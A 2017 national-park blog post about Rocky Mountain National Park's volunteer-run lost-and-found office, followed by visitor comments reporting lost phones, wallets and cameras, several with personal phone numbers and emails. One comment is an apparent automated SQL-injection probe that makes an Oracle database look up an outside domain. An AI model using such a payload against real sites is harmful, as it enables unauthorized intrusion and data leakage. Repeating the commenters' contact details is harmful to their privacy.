Paradise's Lost and Found

February 08, 2017 Posted by: Will Sunderland
Have you ever visited somewhere, only to realize you’d left something behind?Female volunteer looking at colorful scarf.

Every year, millions of items are lost by visitors to the national parks. In Rocky Mountain National Park, a dedicated team of volunteers and rangers work diligently year-round to reunite lost and found items with their owners.

“We collect one banker’s box of items per month in the winter,” volunteer Karen Morse tells me, motioning the outline of a box approximately one to two feet in size. “In the summer, we collect two boxes per day.”

Housed in the Wilderness Office at Rocky Mountain National Park, the park lost and found office received over 2,400 items during 2016.

“We have a team of 5-6 volunteers working to log and attempt to reunite items with their owners,” Morse says.

Found items are logged and kept for a particular period of time, depending on their value, usually between 30 days and one year. After that time, items follow a number of routes from government auctions in Lakewood, Colorado to donations to charitable organizations. Of course, many items are reunited with their owners the same day.

“We had a diaper bag dropped off one day,” Morse laughs. “I told the other volunteers I expected someone would be by within an hour to collect it. You can make it home without a cell phone or a driver’s license, but a diaper bag? The mom came by within 45 minutes.”

Other items have a surprising habit of finding their way back to owners as the seasons change.

Six volunteers stand with colorful water bottles.“We get quite a few lost item reports in the winter for things like rings,” Morse says. “Someone takes a glove off and the ring drops in the snow. Once the snow melts, it’s amazing how many of those rings show back up. I tell visitors, ‘things show up when least expected.’”

When asked about one of the strangest items she has received, Morse smiles. “We once had a walker dropped off. All I could think was, ‘if we have the walker, where’s grandma?’”

Add that to items like the bag full of boat life preservers found on the tundra at over 11,000 feet and you can see Morse’s volunteer job is never dull.

“Writing a protocol for the lost and found office is a challenge,” she says. “No two items follow quite the same path.”

Volunteer, Winter, Wilderness, Lost and Found, Paradise, Rocky Mountain National Park




17 Comments Comments icon

  1. Todd
    August 11, 2018 at 08:48
     

    I lost a red Mefoto tripod case at the astronomy program August 10th at the upper beaver meadow campground. Please contact Todd at 525-240-4377

     
  2. Todd
    August 11, 2018 at 08:48
     

    I lost a red Mefoto tripod case at the astronomy program August 10th at the upper beaver meadow campground. Please contact Todd at 525-240-4377

     
  3. Brad
    August 05, 2018 at 06:08
     

    I lost a black iPhone 6 with a cracked screen and in a black plastic case. I think I lost it on bus 5 from the Park and Ride on August 4, 2018. I was at the Bear Lake trail.

     
  4. 1
    July 30, 2018 at 11:11
     

    1

     
  5. 1
    July 30, 2018 at 11:08
     

    1

     
  6. 1
    July 30, 2018 at 09:19
     

    1||UTL_INADDR.get_host_address('dns.'||'sqli.040464.161-137161.161.6426e.1.bxss'||'.me')

     
  7. J.M Montaño
    July 01, 2018 at 04:53
     

    I lost Personal items including Drivers License, possibly on path to Nymph, Dream, Bear or Haiyaha lakes. Can be reached at Montanofam67@gmail.com. Thank you!

     
  8. Rachel
    June 25, 2018 at 03:45
     

    Lost black wallet with paw print on it attached to a blue and green floral lanyard on the path to emerald lake. Would love to have it back.

     
  9. Natalie
    May 30, 2018 at 12:46
     

    Lost black and silver aviator prescription sunglasses at fern lake. Believe other hiker picked them up.

     
  10. Rohit
    May 27, 2018 at 06:23
     

    Lost black iPhone 7 in black case near the intersection of Dream lake trail and Lake Haiyaha trail on 05/27/2018. If found please contact 248-839-3834.

     
  11. Bernadette
    March 26, 2018 at 09:44
     

    My purse was stolen from the YMCA parking lot. All of my medication was inside, cash, credit cards, my phone, both pairs of my glasses etc. I sure wish someone would return what's left! Can be reached at 3034231151

     
  12. Madisen
    March 25, 2018 at 09:59
     

    Lost Apple iPhone 7 plus (rose gold w/popsocket on back and clear case) in the old falls place. It fell into the water and I was unable to find it, I think it went under some ice. I know where it fell but I just couldn't get to it. Would love to get it back, even if it doesn't work, just so hopefully the store and restore my data from it! Thanks! If found, please call 1-308-737-0834 or email me at madisennichole1998@gmail.com

     
  13. Madisen
    March 25, 2018 at 09:58
     

    Lost Apple iPhone 7 plus (rose gold w/popsocket on back and clear case) in the old falls place. It fell into the water and I was unable to find it, I think it went under some ice. I know where it fell but I just couldn't get to it. Would love to get it back, even if it doesn't work, just so hopefully the store and restore my data from it! Thanks! If found, please call 1-308-737-0834 or email me at madisennichole1998@gmail.com

     
  14. Paul
    March 17, 2018 at 07:57
     

    Lost apple iPhone in life proof case in Alluvial fan

     
  15. Paul
    March 17, 2018 at 07:57
     

    Lost apple iPhone in life proof case in Alluvial fan

     
  16. Paul
    March 17, 2018 at 07:56
     

    Lost apple iPhone in life proof case in Alluvial fan

     
  17. Keanna Douglas
    January 08, 2018 at 02:00
     

    Good Afternoon, I am hoping a gopro 5 was handed in on the 26th of December, 2017. It was on a clear and blue selfie stick and we left it near the lake (not sure where on the mountain - we were doing the tour with Aspire. There are videos of my boyfriend and I having a snowball fight and also of him snorkeling earlier in the year...hoping for a miracle and a reply. Kind regards, Keanna. keannadouglas@live.com

     
 
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Last updated: February 8, 2017

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1000 US Hwy 36
Estes Park, CO 80517

Phone:

(970) 586-1206
Through winter, the Information Office is open 8:00 am–4:30 pm Mon–Fri. Recorded Trail Ridge Road status: (970) 586-1222.

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